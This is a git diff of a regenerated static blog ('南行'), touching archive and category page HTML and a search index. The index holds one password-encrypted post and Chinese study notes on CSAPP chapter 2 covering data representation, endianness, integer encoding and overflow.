\ No newline at end of file diff --git a/archives/page/2/index.html b/archives/page/2/index.html index 0b71cf6b6..faa23e102 100644 --- a/archives/page/2/index.html +++ b/archives/page/2/index.html @@ -1,4 +1,4 @@ -文章 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/page/3/index.html b/archives/page/3/index.html index 2cfdcde29..02fd41f91 100644 --- a/archives/page/3/index.html +++ b/archives/page/3/index.html @@ -1,4 +1,4 @@ -文章 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/page/4/index.html b/archives/page/4/index.html index 4e54e0cd1..bb84ff99c 100644 --- a/archives/page/4/index.html +++ b/archives/page/4/index.html @@ -1,4 +1,4 @@ -文章 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/page/5/index.html b/archives/page/5/index.html index 2e973c3ed..db8a171b1 100644 --- a/archives/page/5/index.html +++ b/archives/page/5/index.html @@ -1,4 +1,4 @@ -文章 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/page/6/index.html b/archives/page/6/index.html index 1a8ef790e..acb477565 100644 --- a/archives/page/6/index.html +++ b/archives/page/6/index.html @@ -1,4 +1,4 @@ -文章 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/page/7/index.html b/archives/page/7/index.html index 8f32eb3a0..cb22cd54a 100644 --- a/archives/page/7/index.html +++ b/archives/page/7/index.html @@ -1,4 +1,4 @@ -文章 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/archives/page/8/index.html b/archives/page/8/index.html new file mode 100644 index 000000000..19093c154 --- /dev/null +++ b/archives/page/8/index.html @@ -0,0 +1,62 @@ +Archives | 南行
\ No newline at end of file diff --git a/categories/CSAPP/index.html b/categories/CSAPP/index.html index b89a18d81..ccbeb5320 100644 --- a/categories/CSAPP/index.html +++ b/categories/CSAPP/index.html @@ -1,4 +1,4 @@ -分类: CSAPP | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/categories/LLM/index.html b/categories/LLM/index.html index 67ee85417..ff49199c5 100644 --- a/categories/LLM/index.html +++ b/categories/LLM/index.html @@ -1,4 +1,4 @@ -分类: LLM | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/categories/pwn/index.html b/categories/pwn/index.html index 77a00c020..8a445dd8f 100644 --- a/categories/pwn/index.html +++ b/categories/pwn/index.html @@ -1,4 +1,4 @@ -分类: pwn | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/categories/pwn/page/2/index.html b/categories/pwn/page/2/index.html index 0f7f15f11..3baed6eff 100644 --- a/categories/pwn/page/2/index.html +++ b/categories/pwn/page/2/index.html @@ -1,4 +1,4 @@ -分类: pwn | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/categories/reverse/index.html b/categories/reverse/index.html index b79137e98..cb1656b38 100644 --- a/categories/reverse/index.html +++ b/categories/reverse/index.html @@ -1,4 +1,4 @@ -分类: reverse | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/categories/reverse/page/2/index.html b/categories/reverse/page/2/index.html index ca72fd6dc..b21453aa9 100644 --- a/categories/reverse/page/2/index.html +++ b/categories/reverse/page/2/index.html @@ -1,4 +1,4 @@ -分类: reverse | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/categories/wp/index.html b/categories/wp/index.html index f911c8bf8..897fbe80d 100644 --- a/categories/wp/index.html +++ b/categories/wp/index.html @@ -1,4 +1,4 @@ -分类: wp | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/categories/\344\272\214\350\277\233\345\210\266\345\256\211\345\205\250/index.html" "b/categories/\344\272\214\350\277\233\345\210\266\345\256\211\345\205\250/index.html" index f1471c9be..4c04b0357 100644 --- "a/categories/\344\272\214\350\277\233\345\210\266\345\256\211\345\205\250/index.html" +++ "b/categories/\344\272\214\350\277\233\345\210\266\345\256\211\345\205\250/index.html" @@ -1,4 +1,4 @@ -分类: 二进制安全 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/categories/\345\205\266\345\256\203/index.html" "b/categories/\345\205\266\345\256\203/index.html" index 091b503ff..8b61948dc 100644 --- "a/categories/\345\205\266\345\256\203/index.html" +++ "b/categories/\345\205\266\345\256\203/index.html" @@ -1,4 +1,4 @@ -分类: 其它 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/categories/\346\223\215\344\275\234\347\263\273\347\273\237\345\216\237\347\220\206/index.html" "b/categories/\346\223\215\344\275\234\347\263\273\347\273\237\345\216\237\347\220\206/index.html" index 92bc6dcf0..7b22147d2 100644 --- "a/categories/\346\223\215\344\275\234\347\263\273\347\273\237\345\216\237\347\220\206/index.html" +++ "b/categories/\346\223\215\344\275\234\347\263\273\347\273\237\345\216\237\347\220\206/index.html" @@ -1,4 +1,4 @@ -分类: 操作系统原理 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/categories/\346\225\260\346\215\256\347\273\223\346\236\204\345\222\214\347\256\227\346\263\225/index.html" "b/categories/\346\225\260\346\215\256\347\273\223\346\236\204\345\222\214\347\256\227\346\263\225/index.html" index 95a29e7f6..18070cb48 100644 --- "a/categories/\346\225\260\346\215\256\347\273\223\346\236\204\345\222\214\347\256\227\346\263\225/index.html" +++ "b/categories/\346\225\260\346\215\256\347\273\223\346\236\204\345\222\214\347\256\227\346\263\225/index.html" @@ -1,4 +1,4 @@ -分类: 数据结构和算法 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/categories/\347\274\226\347\250\213/index.html" "b/categories/\347\274\226\347\250\213/index.html" index 9fdfa7db0..4df6c32aa 100644 --- "a/categories/\347\274\226\347\250\213/index.html" +++ "b/categories/\347\274\226\347\250\213/index.html" @@ -1,4 +1,4 @@ -分类: 编程 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/categories/\347\274\226\347\250\213/page/2/index.html" "b/categories/\347\274\226\347\250\213/page/2/index.html" index 466388790..0707fb6d7 100644 --- "a/categories/\347\274\226\347\250\213/page/2/index.html" +++ "b/categories/\347\274\226\347\250\213/page/2/index.html" @@ -1,4 +1,4 @@ -分类: 编程 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git "a/categories/\351\223\276\346\216\245\343\200\201\350\243\205\350\275\275\345\222\214\345\272\223/index.html" "b/categories/\351\223\276\346\216\245\343\200\201\350\243\205\350\275\275\345\222\214\345\272\223/index.html" index 5de33bd97..3e145da5e 100644 --- "a/categories/\351\223\276\346\216\245\343\200\201\350\243\205\350\275\275\345\222\214\345\272\223/index.html" +++ "b/categories/\351\223\276\346\216\245\343\200\201\350\243\205\350\275\275\345\222\214\345\272\223/index.html" @@ -1,4 +1,4 @@ -分类: 链接、装载和库 | 南行
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/index.html b/index.html index 8f9eceac3..d90a0edd5 100644 --- a/index.html +++ b/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/page/2/index.html b/page/2/index.html index 4b373091f..74b453ecf 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/page/3/index.html b/page/3/index.html index f3183461a..69a3586fc 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/page/4/index.html b/page/4/index.html index 3fcd9e1c9..fde926c48 100644 --- a/page/4/index.html +++ b/page/4/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/page/5/index.html b/page/5/index.html index 4704c8638..29a1c22e2 100644 --- a/page/5/index.html +++ b/page/5/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/page/6/index.html b/page/6/index.html index 1af3e8d7a..ab9e51189 100644 --- a/page/6/index.html +++ b/page/6/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/page/7/index.html b/page/7/index.html index f8628d3a3..ef8a7754e 100644 --- a/page/7/index.html +++ b/page/7/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -
\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file diff --git a/page/8/index.html b/page/8/index.html new file mode 100644 index 000000000..ae68a1ac1 --- /dev/null +++ b/page/8/index.html @@ -0,0 +1,62 @@ +南行
\ No newline at end of file diff --git a/search.json b/search.json index bf9680f09..f3f81a31c 100644 --- a/search.json +++ b/search.json @@ -1 +1 @@ -[{"title":"学习周报","url":"/2024/10/27/%E5%AD%A6%E4%B9%A0%E5%91%A8%E6%8A%A5/","content":"\n \n cade5c3b7da9033c9afd262985036eade44c00741140257e9cbe6b91e7cf3e6636487f3d77516f537cb7cb647ea3a63a8ba142a9c9ed757a9d428811e4879178cd122fddc01167affee6ba479a5ce464392f8d7ae191d57603931cc8d98a7d8c13cd13476ad3773ad44c346255a87c4390eb785c28b3079494221b649cbd4a9907237853d345393098bbdb9fa6e4874e897bc9242e8912d53f8af3a9d85382e4b4391ba352429c3f1f42e776957a36a2205243dc0782f6e4fe574462f8d884bbf12bbdf46d28a4c9c43a583ad1a7369e1539bbf50ff96087c82136fa16fe685acf16adc54846ae4850dc29e8fb29888d1d2f8205cf9ab6a9b0e7270238c569a64e0fc14d40e7c9f231e818aba8f9eda666edaec5e119e3bbccee951201328ab17f68ade5cc3d2aaa8b4de244c8cff215d0bcae94002b8c5515288fb9117e5cedbd96c0d9d9737cde98d5d957cd652d71b8f8d0daf01ee38e52c226cd3c8f5ac154e36368395d4ee379cdad6371cab003114710b28c3fffce105ae68c60b8de0b1bba2014ab963c5b5f34b3e895556ea4d0fd4a19c351ba9681715abe18cc70ef71793fa3e82328ed0d3dd99152e271ddc0f42dd0ed5127d169da25e0854b0a6f972e3351ac823bc8d0524756ae0bbf83bad9fc24ff6f47255743c1bdf68c4b8047f38374a64aba0d4c39559f4e2acaaa10d9f28a840407b297c6f2bd441f7c9bd721e3159afe300694fb1e3a3d78baa153ca4b9349fa22bf16ffa948ea57c71194d8e5b442edb1809db3fc42ca51fa3d5a8184d9fcca951389c16397152019f3159155f818df9183c8877e3ff445d95d8aa393906fe5229886db1c1612ca63619e98ad1977c72256787e22f2c66b6c986fbd2878da825696a723045254ea075db9851d3908c527166c6b98e9a1101431722ee4b2be976024ecec46dc97ac088400ae94737403f57f7986ba557acf90ad944af751329026e3ca76a7883f4474f16a34fa1bfd41dd9f3b405c11717677ebc00c28e3aefc84aa03af37244290b0c954c842702f905d8b5c84d5edf6a29b1798960a493bb908962cc1dbc46e4e133453567d2d6e9a3927406267095b3d3f5837ea5769a831b34ff750740750b92ab0d910eb40df71237ef0dfc8491a03d31680a9f0193bd78bf2d3252cee962856256c515cec3e52458d10b9d4ed3152a5edac12f9d34fbf4eb88d9d3199c9093521d81a53639b61cf4e699290e60acbfc56206552522784bdb88e8263ef1daafc8d40c725e5e1cd1307d5c31e136bedc0746ae29a5d12f4aa15f39a15ce61d542d1afb2bfe3b673f08eed9214e073ef5d0c01dd148ae70f088863e08367487ef888a829f6d4b2fec94493b3d304fbdb64e945319cedacdd98d8753c81b0a6cd62f08edac11eacdefd459c8fb7d5f330ce84f232cbf7a52c10d2a1629a32e1297585386685f5cda47c5d354942606674d344cc192d22d899c319467d168e1337570b6f4f96b9ffeaab5f5748c4a8b1d6a752685f30ce09bc02e63b586887d0a17e462331f89177b821a1317d127aec19e53e56c727ec148473604b2ac4aef8277fd053bc706b132463808b08045ef539df2a385bfbc7eb6ed91184e7345404a23923078e9ed2834a53bde8d9195bfd6619128eccf69e36446d0284cebdc7faf2922bc54823dfd89217c1b9b8b75a27e4eda7eeca99d81a9baf9f2cbcf8b3a8d10b76c24fe11e6cb7579a48d5e2311652aeab3494cc221320c3cdc7ab3822e5f7e73f990ee2954ad4377895cc74de3884e47132fd684c58e1753f74b39a8956776eedff3573fca9f4de98d6fd32b082e51d87b1c8febe1141f4d2ec5e7b9dc1f864b43319545b1c4971c0d674285d9e86c6454cf119111146d7def6cb6366dfc2f2675919591b1a44dfdde823a25e2b3249cece7d5a0d686d80ea1e0213333297cba952c3e9ac470faedc5bc2de2f8834ec521b9d64bb87765c91d5e65213fff3e1dbb6867f8ce7a581539e1715c1ae6f0dbbeab09e703d98c6743f90b16c6df05e2da8995ed7c164c889907c86b520054436e4ca9dc9ce9dbac2f696fa700d6c857f88002c551ae1f68890accc824ef9cd08920d09bffbd3d557d520d21d294b86a47ee643674e0d62d0c40054102c4a7f82eb164774fbcd4128fb4b9f19df4736292268e699e9b8e7efe68b0b33ce25a4897fefa8cc3e8273461bc7c713545f42c3cf7ac08a7d4312d52c5117a706fd7ddab8d0ce7ffd4cb121619a51954417cbb12d99d27a307d094077cfbeb22adf05242c3d4f7a474f3db7f708dd32c4414a0d3a7306874eac6a81177ab07fceee6e884a5974af5bd839f4beb859cc425b24abedbfa2c81512c53dbaa64a40f29711d3ad73fc5f687521340006fa0e2110747d9c9f07ff4f9f6d2413bef9ad0301095dc1c419986276762b7c1adc624a8ab78ffbb48cb9f11050ac9d529a23e3c6261fd62fd1cc24bc04e0aa0a2ad58e41e823398e665b18468bf76f0fd7f3cf690fe6148ad8845f81386ca968db48c3f47083ffc6e375a9d272b631aaf19d2d611ec5a8b235955f4d9072e2c027bc4c9bbde656775d9ca30b29d4fea50f7bfbb4cafbc227d2d44181dcffc0f15a741ca8f21e77768a016909f6ee3050c1db63ed3432507089c099c05d93282507db8666442615951a4b69b1d10542b4c5bca9ed5e285565f5c9dec31ff220ffb6a6e25a33f8eaa5856f0f2a4f8895da80925c4e05c4dcb10af497f2c6a0200690f54fed511b3fa9e1538a2f9f5f1fa5c342881c0150096c1d65989262f95aee81adff0b5771a4d1a7b04c3415103f40acac54c1e241873c7979a26259e93b61270d838320e6859b3fd87714b29eaf739e3af17ca011f43e8f39b0e14429eb2b0a031229fa736e428c702671cb967718f21ced5ef2aa2612f20c7937edbe705c0ba6a2c823983307df8d341e39c48eeefe4110da712658c9642caaa3edae862a7158c0475641695f6b988b3d969085c9a5c2a266e2c7c4329ef683750093667dbbdb14ba72f364fbdef5cc8e67d6ffbc8ffda0ab01c205eeedf5fe44de83656507c2723e4dcabcb75c312dbd7af3406166917307529c7622ac929fa130c882a1ddcf1eb28e2a1cbc652b2aea38edb3e95d4db66b665a9f0409b9583a29462c9c0fe3b380c56596eb2ba970b523243a560ca4c5c9b16ff6b425f7c76530b05b0f9c845c60149cc7b4e6d900aec25ea97fc0e5b9bf8a56603c7b503209283279827cbce5c68e630dfb11e03e16d0b1d9f2d2a9abdb95a0b052ed14eb9e5ee952b64c89f9abb93344f6d9d32e05c721e60a7a20587116bba7aa8e5d2a0dd5758e026ea503111fa0283f0bf470f1732bf35432cf3aa79129484ee561776fdadac803f823f8c5ec4fd285b376b4b2da0c568301bf7c397ac4ea12b4b231d830c4414849f282098000a868f3aaba6cb2a2c720c7221bc1011ba6a9e39010920e3d5603f8c798046cac9bec80de0eb51f955b46a4012e9dfd7ee37eebb6e9dc6663f24e954bfc665f0683cdc88f7cc5b10c933e1cee623781c1d9adb6d5166023d08d0df498093d6c0b98e63bae18e964b0dc0d50c29b71856befc3afc9f1493df690bb5d651f2418dc05af9610ae230341a3e20d65d7a48ec0a3caa3947e6c6b923163c45b82b787ee9dd260ec1741cf1f33f0af53e5cc96d0cfc5f1bf5520d3ab9303e3e221fc86af337e11f12261ef55ba0a8c2eb9323fc045b9c010b91f4b9211b2b0cc80d9ebf7254f68ee187fa16317979f32fa1575eb31c89f598aaf4c53543bcd91225bf313b358eabe0e2ec482ee5ddabef229c59c17dab3b3992f83593085146f4d4adc094becd316771d4ac3906cb41d7fc9b8d2b5b2b60d57cdf0808064fa760cf507574a9ac9d6f8e34455295d824a2d57eea647c56aa5931c69fbf744e08e631d07e9f03a023554a896e3e9076ea387d9d12ff88a98b600fdac847190ee448dae38e010a72a51c9d487fe7df28de12cb4b34e96e2f87f3e0e457ed8ca854e98c3e94db75362968785925f6be99d32c01131226beb3faeb3303ac18ce66ff24d7931fcd0a93b80e75e6c30761c59ed88a4cb9c9f8bcf13e3a9343959d6d4783d26480c5399a6652ff6ea7c0bece121991226cf758ee37c4ca7d77655a7072a3b200a26a3047f1a976304081f84145f7a8043aa656057b634056c3e7534dc8de60b21ad44b2758f323a1a09dfbc0eeedfb1ea7f775b0231cb31fe4adab6018f4ee44c31373c5c8e0b9028fa44738a12c01b867db9522efd113fb80765b8a0dad11b45bc11d567a72ff6b92aab2df540793c4e4b10296027ab375bb5f1419372ca5a396ae0404c179ee8746479ad4d51f1073beea9eda06ed80898c44069c96060fc076da376f889238880ac318a0814c1a13b4fc8411b25c976f18e189ee173cb8260b20af8167119c4e0bdc17fa1d9bc9455180661821e920122b6e008da60a4751f845cda733ce974114b1761d7fff36c58063cfba30d47990e004506fc4ba433f3b2d0d759333bd37cedaeb91f4790245758f19cbddb1aa10a6f8c49e4cda7df7941d0ef963eadab80d39dd1f6b02b931093589ec65dc3b72230dc40ece52766be258a0bd446785c16700da6a2f92db7b31491c383cf6a06942a3c37eaf75159c332ff2d38b637fc2e40e4d0c043f36e345ba5eeaa523582bc5c0124a3cd84a5a00bf630a17364466fe1199430c48810c028574ef3aad2993d97ebecd3d664fef5243bd78ac028163c797615b1e3c8926f5acb1033ac9ddd6a0ed5ac592a7177353c061c7743014c76759bead702f71c68d86aca43360e9d97ae4971884a2f53748193e2353065f6e6bbdefc2096a1ade4791328e708bdaa79babc828a8bd7b4de0296d3b2343bc9e75231468a734bc16b56eefc8b223232c8d67451b0292bd3e2eb0ab6318779081575507d9647e0d42f2b6bfffae5f72890b8e924efd48216d4e84e8352969ff801f9ec2a61ef501907c36f6d91318029d7aec4a840074866380713f247d5a7cf048afa1ce8414529a81ca70fdd0e0a2482fa003f6dbc9a047496aac78ba36ad80b8bdb67d34f8c9b75b8ad3bf6570aa6b4ba2f0b1d0c2b29c2170e3b47084146c195c1adc4560a85e50788111297820311c1a49d8426707570643384676b225b95c99a8fd7287e40e6ec6aa00592127abec4d8d4ea73e2b300d16f70fd69661c54fccf6fd926cdf85fa8c38fee11aef52a431dbdd291fdfd5c4c353060197579399754088b2c7645fb591e2412705cedc388364679cca02eecf7573ca46c462925d7d1495716196f54931a916bfbde6a61919f7c8db7238761dda753e1c4690e659348b67a2a00bf1cf5de5c33d30b2f4fbcae4297bbf86e140d70eb305c55f7e2d4b3eed5ec0d828c77d5a464e5b1b0c5d27edae7aeebddee532df07165574c93a316c9e252a60973039c02f5215e5b3a8262c4acc284c951fda7428b3fdd5af385ede5a8b8b9033b155a8e1baade289d7d469ed94b91ca259e056607588af64a1872c217b1b401792ee3b59d87ed5c36ebde3e9cae829d17b9e9778e5b319054e3e65f9964707a1d1d3225468f023aafbde94bdbe3d03b5a6eef2648f2e49b80d9e5a714f8312dcc16f2a9b170036485ce88f61427eafe1076efc4bb365bb72f6c4d95428c27385ec07508759e62081c3aa344fac271023c8e6ca367d0d5c0080c772af62ddb8916ec711210077f1004c859c218104422d9914083551759a93d8f2af0822679b181bafc2d56617a7896d3cec1e842b2b3464d75dc2f4ddfadc28410f7b43cda45f6e8606bad2bb523bcf536e54664eb230c4903361ea68e28b0854d40d4db2b86fe8b0d35c02490307d53392e43d0fbde3c8f9d796ad1520fa18ae7bfb8747778221b4b89e9f368a1e444920127be9b99131b0da85d5ebea6815f5b4edaa0dd8ebf8843ce7ecf382e1753b13015f827c478af16b01e17277ccefe49afaef357353f92cb2f64269334c3aa4fc069511fe09c7170524b687c90ccc0f8f4ee557ce3704d022038a870da71b0c23949e1fcbb9d6a8384dce67f6e682283f5c899038bd3a5095b7f02de46b49a284b607c133cf66dd3420d0db54f6864907ad80a8e30fd7a6b15afda4bf0c417a031536a35babe0c412f9a3b1bdcdb7a902ccdb1dbd75f09fb82d0d7b2825ede41ce6953e0d38cc4f0226baf833f193e117efd9823b1ef2993bb7bf92391c3105e8bf171edcdfd34450bd55b16653c76958ad5cbaeb257a9c16738dd0f325c4d2c3d35bc23cda2851c424339c0451a00908d1cb33f68a3e26c3327606aa80b8bf96d8bb7ccbaffdd774e6ffa297fefee66e218e50ad75166710e3d9f91980b1abcfca4c8f9b74430de282acf897854c0e4a17bd4bee8d4500edd028a29ebf7ae931df6a516fcc20f7a7cd2c488b85ce3367e9cc5c67c461c7efc46830a2900ec81faff6f52751f20cfefc1d91fb645492ad435ad6549d8fbda28c0a2752cf70e7d73ded8070c3ade\n \n \n \n \n \n 输入密码\n \n \n \n \n \n ","categories":["其它"]},{"title":"《CSAPP》chapter2 信息的表示和处理","url":"/2024/10/26/csapp/csapp-2/","content":"信息存储大多数计算机使用8位的块,或者字节(byte),作为最小的可寻址的内存单位,而不是访问内存中单独的位。机器级程序将内存视为一个非常达的字节数组,称为虚拟内存。内存的每个字节都由一个唯一的数字来标识,称为它的地址,所有可能地址的集合就称为虚拟地址空间。\n\nC语言中一个指针的值(无论它指向一个整数、一个结构或是某个其他程序对象)都是某个存储块的第一个字节的虚拟地址。\n\n十六进制表示法一个字节由8位组成。在二级制表示法中,它的值域是0000000011111111.如果看成十进制整数,它的值域就是0255.\n二进制表示法太冗长,而十进制表示法与位模式的互相转化很麻烦。替代的方法是,以16为基数,或者叫做十六进制数,来表示位模式。\n十六进制使用数字‘0’‘9’以及字符‘A’‘F’来表示16个可能的值。用十六进制书写,一个字节的值域为00~FF。\n在C语言中,以0x或0X开头的数字常量被认为是十六进制的值。\n字数据大小每台计算机都有一个字长,指明指针数据的标称大小。因为虚拟地址是以这样的一个字来编码的,所以字长决定的最重要的系统参数就是虚拟地址空间的最大大小。\n大多数64位机器也可以运行为32位机器编译的程序,这时一种向后兼容。\n计算机和编译器支持多种不同方式的编码的数字格式,如不同长度的整数和浮点数。\n\nC语言支持整数和浮点数的多种数据格式。\n整数或者为有符号的,既可以表示负数、零和正数;或者为无符号的,即只能表示非负数。\n为了避免由于依赖典型大小和不同编译器设置带来的奇怪行为,ISO C99引入了一类数据类型,其数据大小是固定的,不随编译器和机器设置而变化。其他就有数据类型int32_t和int64_t,它们分别为4个字节和8个字节。\n大部分数据类型都编码为有符号数值,除非有前缀关键字unsigned或对确定大小的数据类型使用了特定的无符号声明。\n寻址和字节顺序对于跨越多字节的程序对象,我们必须建立两个规则:这个对象的地址是什么,以及在内存中如何排列这些字节。在几乎所有的机器上,多字节对象都被存储为连续的字节序列,对象的地址为所使用字节中最小的地址。\n排列表示一个对象的字节有两个通用的规则。\n最低有效位在最前面的方式,称为小端法。\n最高有效位在最前面的方式,称为大端法。\n大多数Intel兼容机都只用小端模式。\n一旦选择了特定操作系统,那么字节序列也就固定下来。\n字节序列变得重要的三种情况:\n\n首先是在不同类型的机器之间通过网络传送二进制数据时。\n第二种情况是,当阅读表示整型数据的字节序列时字节顺序也很重要。\n第三种情况是,当编写规避正常的类型系统的程序时。\n\n在C语言中,可以通过使用强制类型转换或联合来允许以一种数据类型引用一个对象,而这种数据类型与创建这个对象时定义的数据类型不同。大多数应用编程都强烈不推荐这种编码技巧,但是它们对系统级编程来说非常有用,甚至是必需的。\n在网络中,字节以大端序进行传输。\n表示字符串C语言中字符串被编码为一个以null(其值为0)字符结尾的字符数组。每个字符都由某个标准编码来表示,最常见的是ASCII字符码。\n在使用ASCII码作为字符码的任何系统上都将得到相同的结果,与字节和字大小规则无关。\n表示代码不同的机器类型使用不同的且不兼容的指令和编码方式。\n二进制代码很少能在不同机器和操作系统组合之间移植。\n计算机系统的一个基本概念就是,从机器的角度来看,程序仅仅只是字节序列。\n布尔代数简介布尔注意到通过将逻辑值TRUE和FALSE编码为二进制值1和0,能够设计出一种代数,以研究逻辑推理的基本原则。\n最简单的布尔代数是在二元集合{0,1}基础上的定义。\n布尔运算~对应于逻辑运算NOT。\n布尔运算&对应于逻辑运算and。\n布尔运算|对应于逻辑运算or。\n布尔运算^对应于逻辑运算异或。\nC语言中的位级表示|(或)\n&(与)\n~(非)\n^(异或)\n确定一个位级表达式的结果最后的方法,就是将十六进制的参数扩展成二进制表示并执行二进制运算,然后再转回十六进制。\nC语言中的逻辑运算||(或)\n&&(与)\n!(非)\nC语言中的移位运算左移运算\nx<<k\nx向左移动k位,丢弃最高的k位,并在右端补k个0\n右移运算\nx>>k\n逻辑右移和算术右移。\n逻辑右移在左端补k个0,得到的结果是。\n算术右移是在左端补k个最高有效位的值,得到的结果是\n几乎所有的编译器/机器组合都对有符号数使用算术右移。\n对于无符号数,右移必须是逻辑的。\n整数表示在本节中,我们描述用位来编码整数的两种不同的方式:一种只能表示非负数,而另一种能够表示负数、零和正数。\n整型数据类型C语言支持多种整型数据类型——表示有限范围的整数。\n根据字节分配,不同的大小所能表示的值的范围是不同的。\n\n32位\n\n\n\n64位\n\n\nC语言标准定义了每种数据类型必须表示的最小的取值范围。\nC和C++都支持有符号(默认)和无符号数。Java只支持有符号数。\n无符号数的编码无符号数采用原码进行编码。\n补码编码用于表示负数值。\n表示负数将最高位至一,并且按位取反后加一得到补码。\n几乎所有的机器都用补码形式来表示有符号整数。\nC库中的文件limits.h定义了一组常量,来限定编译器运行的这台及其的不同整型数据类型的取值范围。\n有符号数和无符号数之间的转换强制类型转换的结果保持位值不变,只是改变了解释这些位的方式。\n将无符号类型转换成有符号类型,底层的位表示保持不变。\n大多数C语言的实现,处理同样字长的有符号数和无符号数之间相互转换的一般规则是:数值可能会改变,但是位模式不变。\nC语言中的有符号数与无符号数C语言支持所有整型数据类型的有符号和无符号运算。\n通常,大多数数字都默认为是有符号的。\nC语言允许无符号数和有符号数之间的转换,大多数系统遵循的原则是底层的为表示保持不变。\n%u无符号显示\t%d有符号显示\n当执行一个运算时,如果它的一个运算数是有符号的而另一个是无符号的,那么C语言会隐式地将有符号参数强制类型转换为无符号数,那么C语言会隐式地将有符号参数强制类型转换为无符号数,并假设这两个数都是非负的,来执行这个运算。\n这种方法对于标准算术运算来说并无多大差异,但是对于像<和>这样的关系运算符来说,它会导致非直观的结果。\n扩展一个数字的位表示一个常见的运算是在不同字长的整数之间转换,同时又保持数值不变。\n要将一个无符号数转换为一个更大的数据类型,我们只要简单地在表示在开头添加0.这种运算被称为零扩展。\n要将一个补码数字转换为一个更大的数据类型,可以执行一个符号扩展,在表示中添加最高有效位的值。\n将不同大小不同类型的数进行转换时,如short转换为unsigned int。我们先要改变大小,之后再完成从有符号到无符号的转换。\n截断数字假设我们不用额外的位来扩展一个数值,而是减少表示一个数字的位数。\n截断一个数字可能会改变它的值——溢出的一种形式。对于一个无符号数,我们可以很容易得出其数值结果。\n截断无符号数\n将数字超过截断位的值直接丢弃。\n截断补码数值\n将数字超过截断位的值直接丢弃。并且转换为有符号数\n关于有符号数与无符号数的建议有符号数到无符号数的隐式强制类型转换导致了某些非直观的行为。而这些非直观的特性经常导致程序错误,并且这种包含隐式强制类型转换的细微差别的错误很难被发现。因为这种强制类型转换是在代码中没有明确指示的情况下发生的, 程序员经常忽视了它的影响\njava消除了无符号数,只允许有符号数的存在\njava的>>>被指定为逻辑右移\n0-1等于最大无符号数\n2^10 = 10^3\n整数运算无符号加法如果两个无符号数相加的和超过类型位数可以表达的最大数就会产生溢出。\n如:\nunsigned char a=255;unsigned char b=1;unsigned char c=a+b;//结果c为0\n\n\n\n补码加法正溢出\n两个正数相加得到负的结果。\n因为位数运算中产生溢出导致向符号位进位,符号位变为1。\n例:\nchar x=127;char y=1;char z=a+b;//z的结果为-128\n\n负溢出\n两个负数相加得到正的结果\n因为位数运算中产生溢出,导致符号位溢出变为0。\n例:\nchar x=-128;char y=-1;char 